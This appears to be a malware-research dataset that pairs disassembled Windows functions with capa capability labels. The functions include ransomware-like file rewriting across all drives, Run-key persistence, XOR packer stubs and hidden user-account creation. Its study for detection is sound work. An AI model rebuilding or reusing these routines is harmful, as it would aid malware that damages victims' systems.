joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47ab44
Capabilities:
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd94
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x268], ebx
mov dword [ebp - 0x26c], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
mov esi, eax
lea edi, [ebp - 0x264]
push ecx
mov ecx, 0x94
rep movsd dword es:[edi], dword [esi]
pop ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
lea eax, [ebp - 4]
call fcn.0040528c
mov eax, dword [ebp - 8]
call fcn.00404c38
xor eax, eax
push ebp
push 0x47ad19
push dword fs:[eax]
mov dword fs:[eax], esp
test byte [ebp - 0x264], 4
jne 0x47acd5
lea eax, [ebp - 0x26c]
mov edx, dword [ebp - 4]
call fcn.00404a10
mov eax, dword [ebp - 0x26c]
lea edx, [ebp - 0x268]
call fcn.004093b4
mov eax, dword [ebp - 0x268]
mov edx, 0x481f60
mov ecx, 0x30
call fcn.0040ead8
test al, al
jne 0x47acd5
xor ebx, ebx
add ebx, dword [ebp - 0x244]
cmp ebx, 0x20000000
jg 0x47acd5
test ebx, ebx
jle 0x47acd5
test byte [ebp - 0x264], 1
je 0x47ac1f
push 0
mov eax, dword [ebp - 4]
call fcn.004050b0
push eax
call sub.kernel32.dll_SetFileAttributesW
test eax, eax
je 0x47acd5
lea eax, [ebp - 0xc]
mov ecx, 0x47ad2c
mov edx, dword [ebp - 4]
call fcn.004050cc
mov eax, dword [ebp - 0xc]
call fcn.004050b0
mov esi, eax
push esi
mov eax, dword [ebp - 4]
call fcn.004050b0
push eax
call sub.kernel32.dll_MoveFileW
test eax, eax
je 0x47acd5
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push esi
call sub.kernel32.dll_CreateFileW
mov esi, eax
push ebx
lea eax, [ebp - 0x10]
mov ecx, 1
mov edx, dword [0x421fec]
call fcn.00405b78
add esp, 4
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
mov eax, dword [ebp - 0x10]
push eax
push esi
call sub.kernel32.dll_ReadFile_1
push 0
push 0
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x422018]
call fcn.00422070
lea edx, [ebp - 0x10]
call fcn.00422170
push 0
push 0
push 0
push esi
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059bc
push eax
mov eax, dword [ebp - 0x10]
push eax
push esi
call sub.kernel32.dll_WriteFile_1
push esi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47ad20
lea eax, [ebp - 0x26c]
mov edx, 2
call fcn.00404790
lea eax, [ebp - 0x10]
mov edx, dword [0x421fec]
call fcn.00405b84
lea eax, [ebp - 0xc]
call fcn.00404e90
lea eax, [ebp - 8]
call fcn.0040476c
lea eax, [ebp - 4]
call fcn.00404e90
ret
Function at 0x47ad40
Capabilities:
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd94
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x268], ebx
mov dword [ebp - 0x26c], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
mov esi, eax
lea edi, [ebp - 0x264]
push ecx
mov ecx, 0x94
rep movsd dword es:[edi], dword [esi]
pop ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
lea eax, [ebp - 4]
call fcn.0040528c
mov eax, dword [ebp - 8]
call fcn.00404c38
xor eax, eax
push ebp
push 0x47af08
push dword fs:[eax]
mov dword fs:[eax], esp
test byte [ebp - 0x264], 4
jne 0x47aec4
lea eax, [ebp - 0x26c]
mov edx, dword [ebp - 4]
call fcn.00404a10
mov eax, dword [ebp - 0x26c]
lea edx, [ebp - 0x268]
call fcn.004093b4
mov eax, dword [ebp - 0x268]
mov edx, 0x47af20
call fcn.00404b94
jne 0x47aec4
test byte [ebp - 0x264], 1
je 0x47adf8
push 0
mov eax, dword [ebp - 4]
call fcn.004050b0
push eax
call sub.kernel32.dll_SetFileAttributesW
test eax, eax
je 0x47aec4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004050c0
mov ecx, eax
sub ecx, 9
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.004051fc
mov eax, dword [ebp - 0xc]
call fcn.004050b0
mov ebx, eax
push ebx
mov eax, dword [ebp - 4]
call fcn.004050b0
push eax
call sub.kernel32.dll_MoveFileW
test eax, eax
je 0x47aec4
xor esi, esi
add esi, dword [ebp - 0x244]
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push ebx
call sub.kernel32.dll_CreateFileW
mov ebx, eax
push esi
lea eax, [ebp - 0x10]
mov ecx, 1
mov edx, dword [0x421fec]
call fcn.00405b78
add esp, 4
push 0
lea eax, [ebp - 0x14]
push eax
push esi
mov eax, dword [ebp - 0x10]
push eax
push ebx
call sub.kernel32.dll_ReadFile_1
push 0
push 0
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x422018]
call fcn.00422070
lea edx, [ebp - 0x10]
call fcn.004223c8
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059bc
push eax
mov eax, dword [ebp - 0x10]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47af0f
lea eax, [ebp - 0x26c]
mov edx, 2
call fcn.00404790
lea eax, [ebp - 0x10]
mov edx, dword [0x421fec]
call fcn.00405b84
lea eax, [ebp - 0xc]
call fcn.00404e90
lea eax, [ebp - 8]
call fcn.0040476c
lea eax, [ebp - 4]
call fcn.00404e90
ret
Function at 0x47af2c
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd8c
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x270], ecx
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x268], ecx
mov dword [ebp - 0x260], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.0040528c
mov eax, dword [ebp - 8]
call fcn.00404c38
xor eax, eax
push ebp
push 0x47b11d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x260]
mov ecx, 0x47b130
mov edx, dword [ebp - 4]
call fcn.004050cc
mov eax, dword [ebp - 0x260]
call fcn.004050b0
push eax
call sub.kernel32.dll_FindFirstFileW
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x47b0d4
xor eax, eax
push ebp
push 0x47b0a2
push dword fs:[eax]
mov dword fs:[eax], esp
test byte [ebp - 0x25c], 0x10
jne 0x47b019
push dword [ebp - 4]
push 0x47b140
lea eax, [ebp - 0x268]
lea edx, [ebp - 0x230]
mov ecx, 0x104
call fcn.00405018
push dword [ebp - 0x268]
lea eax, [ebp - 0x264]
mov edx, 3
call fcn.00405130
mov edx, dword [ebp - 0x264]
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0x25c]
call fcn.0047ab44
mov eax, dword [ebp - 0x25c]
and eax, 0x10
cmp eax, 0x10
jne 0x47b098
lea eax, [ebp - 0x26c]
lea edx, [ebp - 0x230]
mov ecx, 0x104
call fcn.004049f4
mov eax, dword [ebp - 0x26c]
mov edx, 0x482024
mov ecx, 0x27
call fcn.0040ead8
test al, al
jne 0x47b098
push dword [ebp - 4]
push 0x47b140
lea eax, [ebp - 0x274]
lea edx, [ebp - 0x230]
mov ecx, 0x104
call fcn.00405018
push dword [ebp - 0x274]
lea eax, [ebp - 0x270]
mov edx, 3
call fcn.00405130
mov eax, dword [ebp - 0x270]
mov edx, dword [ebp - 8]
call fcn.0047af2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47b0b3
lea eax, [ebp - 0x25c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x47afba
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_FindClose_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47b124
lea eax, [ebp - 0x274]
mov edx, 2
call fcn.00404ea8
lea eax, [ebp - 0x26c]
call fcn.0040476c
lea eax, [ebp - 0x268]
mov edx, 3
call fcn.00404ea8
lea eax, [ebp - 8]
call fcn.0040476c
lea eax, [ebp - 4]
call fcn.00404e90
ret
Function at 0x47b144
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd8c
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x270], ecx
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x268], ecx
mov dword [ebp - 0x260], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.0040528c
mov eax, dword [ebp - 8]
call fcn.00404c38
xor eax, eax
push ebp
push 0x47b335
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x260]
mov ecx, 0x47b348
mov edx, dword [ebp - 4]
call fcn.004050cc
mov eax, dword [ebp - 0x260]
call fcn.004050b0
push eax
call sub.kernel32.dll_FindFirstFileW
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x47b2ec
xor eax, eax
push ebp
push 0x47b2ba
push dword fs:[eax]
mov dword fs:[eax], esp
test byte [ebp - 0x25c], 0x10
jne 0x47b231
push dword [ebp - 4]
push 0x47b358
lea eax, [ebp - 0x268]
lea edx, [ebp - 0x230]
mov ecx, 0x104
call fcn.00405018
push dword [ebp - 0x268]
lea eax, [ebp - 0x264]
mov edx, 3
call fcn.00405130
mov edx, dword [ebp - 0x264]
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0x25c]
call fcn.0047ad40
mov eax, dword [ebp - 0x25c]
and eax, 0x10
cmp eax, 0x10
jne 0x47b2b0
lea eax, [ebp - 0x26c]
lea edx, [ebp - 0x230]
mov ecx, 0x104
call fcn.004049f4
mov eax, dword [ebp - 0x26c]
mov edx, 0x482024
mov ecx, 0x27
call fcn.0040ead8
test al, al
jne 0x47b2b0
push dword [ebp - 4]
push 0x47b358
lea eax, [ebp - 0x274]
lea edx, [ebp - 0x230]
mov ecx, 0x104
call fcn.00405018
push dword [ebp - 0x274]
lea eax, [ebp - 0x270]
mov edx, 3
call fcn.00405130
mov eax, dword [ebp - 0x270]
mov edx, dword [ebp - 8]
call fcn.0047b144
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47b2cb
lea eax, [ebp - 0x25c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x47b1d2
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_FindClose_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47b33c
lea eax, [ebp - 0x274]
mov edx, 2
call fcn.00404ea8
lea eax, [ebp - 0x26c]
call fcn.0040476c
lea eax, [ebp - 0x268]
mov edx, 3
call fcn.00404ea8
lea eax, [ebp - 8]
call fcn.0040476c
lea eax, [ebp - 4]
call fcn.00404e90
ret
Function at 0x47bf14
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov eax, 0x47ba0c
call fcn.004069c8
xor eax, eax
push ebp
push 0x47c103
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x47c114
push 0
push 0
call fcn.00406c00
mov esi, eax
push 0
push esi
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
je 0x47c0d3
push 0x47c128
mov eax, 0x4820c4
mov ecx, 0x47c134
mov edx, 0x80000001
call fcn.0047a29c
push 0x47c150
mov eax, 0x4820c8
mov ecx, 0x47c134
mov edx, 0x80000001
call fcn.0047a29c
cmp dword [0x4820c4], 0
je 0x47bfbf
cmp dword [0x4820c8], 0
je 0x47bfbf
mov edx, dword [0x4820c8]
mov eax, dword [0x4820c4]
call fcn.0047b35c
lea ecx, [ebp - 0x14]
xor edx, edx
mov eax, 0x20
call fcn.0047a12c
mov edx, dword [ebp - 0x14]
mov eax, 0x484570
call fcn.004047c0
lea ecx, [ebp - 0x18]
xor edx, edx
mov eax, 0x20
call fcn.0047a12c
mov edx, dword [ebp - 0x18]
mov eax, 0x4820c4
call fcn.004047c0
lea ecx, [ebp - 0x1c]
mov edx, dword [0x4820c4]
mov eax, dword [0x484570]
call fcn.00422a00
mov edx, dword [ebp - 0x1c]
mov eax, 0x4820c8
call fcn.004047c0
push 0x47c15c
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.00421c70
mov eax, dword [ebp - 0x20]
mov ecx, 0x47c170
mov edx, 0x80000001
call fcn.0047a3fc
push 0x47c128
mov ecx, 0x47c134
mov edx, 0x80000001
mov eax, dword [0x4820c4]
call fcn.0047a35c
push 0x47c150
mov ecx, 0x47c134
mov edx, 0x80000001
mov eax, dword [0x4820c8]
call fcn.0047a35c
xor ebx, ebx
lea eax, [ebp - 0x28]
mov edx, ebx
add dl, 0x41
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x2c]
call fcn.00402e18
mov edx, 0x47c1a0
lea eax, [ebp - 0x2c]
mov cl, 2
call fcn.00402de8
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0x24]
call fcn.0040500c
mov eax, dword [ebp - 0x24]
mov edx, dword [0x484570]
call fcn.0047af2c
inc ebx
cmp ebx, 0x1a
jne 0x47c06c
push esi
call sub.kernel32.dll_ReleaseMutex
lea edx, [ebp - 0x40]
xor eax, eax
call fcn.00421c70
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x3c]
mov edx, 5
call fcn.0047a094
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47c10a
lea eax, [ebp - 0x40]
call fcn.00404e90
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.00404ea8
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00404790
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
or esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
push edx
pop edi
rep stosb byte es:[edi], al
pop edi
push edx
pop eax
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
push esi
pop eax
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
push esi
pop eax
sub eax, edi
push eax
pop esi
or eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.DLL_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x408e84
nop
mov ecx, 0x3a4d3b34
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x2f482cb7
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4019f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 0x114], str._system32777.dll
push 0x104
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [ebp - 0x114]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 3
push 1
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x401a5f
cmp dword [ebp - 0x118], 0
je 0x401a5f
jmp 0x401ac3
mov ecx, dword [ebp + 8]
cmp dword [ecx + 4], 0
je 0x401ac3
mov dword [ebp - 0x11c], 0x15f
mov edx, dword [ebp + 8]
add edx, 8
mov dword [0x438274], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
mov dword [0x438290], ecx
mov dword [ebp - 0x11c], 0x15f
mov dword [ebp - 0x11c], 0x15f
call fcn.004011b0
mov edx, dword [ebp + 8]
mov dword [0x43828c], edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
call fcn.004013b0
add esp, 0xc
mov dword [ebp + 8], eax
jmp 0x401a5f
mov esp, ebp
pop ebp
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
je 0x431072
nop
nop
nop
nop
mov ebx, 0x40915c
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1b10593c
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x431060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
je 0x4310d2
nop
nop
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0xf99104d
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4310c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x41100a
Capabilities:
Add user account to group

Disassembly:
jmp 0x4114ce
jmp dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]

Function at 0x411019
Capabilities:
Terminate process

Disassembly:
jmp 0x413320
jmp fcn.00413360
cmp ecx, dword [0x41702c]
jne 0x41332a
repz ret
jmp 0x411091

Function at 0x411023
Capabilities:
Add user account

Disassembly:
jmp 0x4114d4
jmp dword [sym.imp.NETAPI32.dll_NetUserAdd]
Function at 0x4046c4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx - 0x243cff8], 0x8088405
inc edx
mov dword [ebx - 0x243cff8], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4258a4
Capabilities:
Hash data with md5

Disassembly:
push ebx
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
mov edx, 0x40
lea ecx, [eax + 0x18]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x4258b7
mov edx, 0x10
lea ecx, [eax + 0x58]
xor ebx, ebx
mov dword [ecx], ebx
add ecx, 4
dec edx
jne 0x4258c6
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
pop ebx
ret
Function at 0x433b24
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov dword [esp + 4], edx
mov dword [esp], eax
mov edi, dword [ecx + 4]
mov edx, dword [ecx]
mov eax, edx
mov ebx, eax
xor esi, esi
add esi, 0x18
add ebx, esi
movzx eax, word [eax + 0x14]
add ebx, eax
movzx ebp, word [edx + 6]
dec ebp
test ebp, ebp
jl 0x433bed
inc ebp
cmp dword [ebx + 0x10], 0
jne 0x433ba9
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x38]
mov dword [esp + 8], eax
cmp dword [esp + 8], 0
jle 0x433ba4
push 4
push 0x1000
mov eax, dword [esp + 0x10]
push eax
mov eax, edi
add eax, dword [ebx + 0xc]
push eax
call fcn.0040ad04
mov esi, eax
test esi, esi
jne 0x433b8f
xor eax, eax
jmp 0x433bef
mov esi, edi
add esi, dword [ebx + 0xc]
mov dword [ebx + 8], esi
mov edx, dword [esp + 8]
mov eax, esi
xor ecx, ecx
call fcn.00404b98
add ebx, 0x28
jmp 0x433be6
push 4
push 0x1000
mov eax, dword [ebx + 0x10]
push eax
mov eax, edi
add eax, dword [ebx + 0xc]
push eax
call fcn.0040ad04
mov esi, eax
test esi, esi
jne 0x433bc9
xor eax, eax
jmp 0x433bef
mov esi, edi
add esi, dword [ebx + 0xc]
mov eax, dword [esp]
add eax, dword [ebx + 0x14]
mov edx, dword [ebx + 0x10]
mov ecx, esi
xchg edx, ecx
call fcn.00404420
mov dword [ebx + 8], esi
add ebx, 0x28
dec ebp
jne 0x433b56
mov al, 1
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x433cd0
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffdc
mov esi, eax
lea ebp, [esp + 0x10]
mov eax, dword [esi]
mov ebx, eax
xor edx, edx
add edx, 0x18
add ebx, edx
movzx eax, word [eax + 0x14]
add ebx, eax
xor eax, eax
mov dword [esp], eax
mov edi, dword [ebx + 8]
or edi, dword [esp]
mov dword [ebp], edi
mov edx, dword [esi + 0x14]
mov eax, edi
call fcn.00433b1c
mov dword [ebp + 4], eax
mov edx, ebx
mov eax, esi
call fcn.00433bf8
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x24]
mov dword [ebp + 0xc], eax
mov byte [ebp + 0x10], 0
add ebx, 0x28
mov eax, dword [esi]
movzx eax, word [eax + 6]
dec eax
test eax, eax
jle 0x433dd3
mov dword [esp + 0xc], eax
mov eax, dword [ebx + 8]
or eax, dword [esp]
mov dword [esp + 4], eax
mov edx, dword [esi + 0x14]
mov eax, dword [ebp]
call fcn.00433b1c
mov edi, eax
mov edx, ebx
mov eax, esi
call fcn.00433bf8
mov dword [esp + 8], eax
cmp edi, dword [ebp + 4]
je 0x433d68
mov eax, dword [ebp]
add eax, dword [ebp + 8]
cmp eax, edi
jbe 0x433d9e
mov eax, dword [ebx + 0x24]
test eax, 0x2000000
je 0x433d78
test byte [ebp + 0xf], 2
jne 0x433d88
mov edx, dword [ebp + 0xc]
or edx, eax
and edx, 0xfdffffff
mov dword [ebp + 0xc], edx
jmp 0x433d8b
or dword [ebp + 0xc], eax
mov eax, dword [esp + 4]
add eax, dword [esp + 8]
sub eax, dword [ebp]
mov dword [ebp + 8], eax
add ebx, 0x28
jmp 0x433dc9
mov edx, ebp
mov eax, esi
call fcn.00433c20
test al, al
jne 0x433daf
xor eax, eax
jmp 0x433dea
mov eax, dword [esp + 4]
mov dword [ebp], eax
mov dword [ebp + 4], edi
mov eax, dword [esp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x24]
mov dword [ebp + 0xc], eax
add ebx, 0x28
dec dword [esp + 0xc]
jne 0x433d35
mov byte [ebp + 0x10], 1
mov edx, ebp
mov eax, esi
call fcn.00433c20
test al, al
jne 0x433de8
xor eax, eax
jmp 0x433dea
mov al, 1
add esp, 0x24
pop ebp
pop edi
pop esi
pop ebx
ret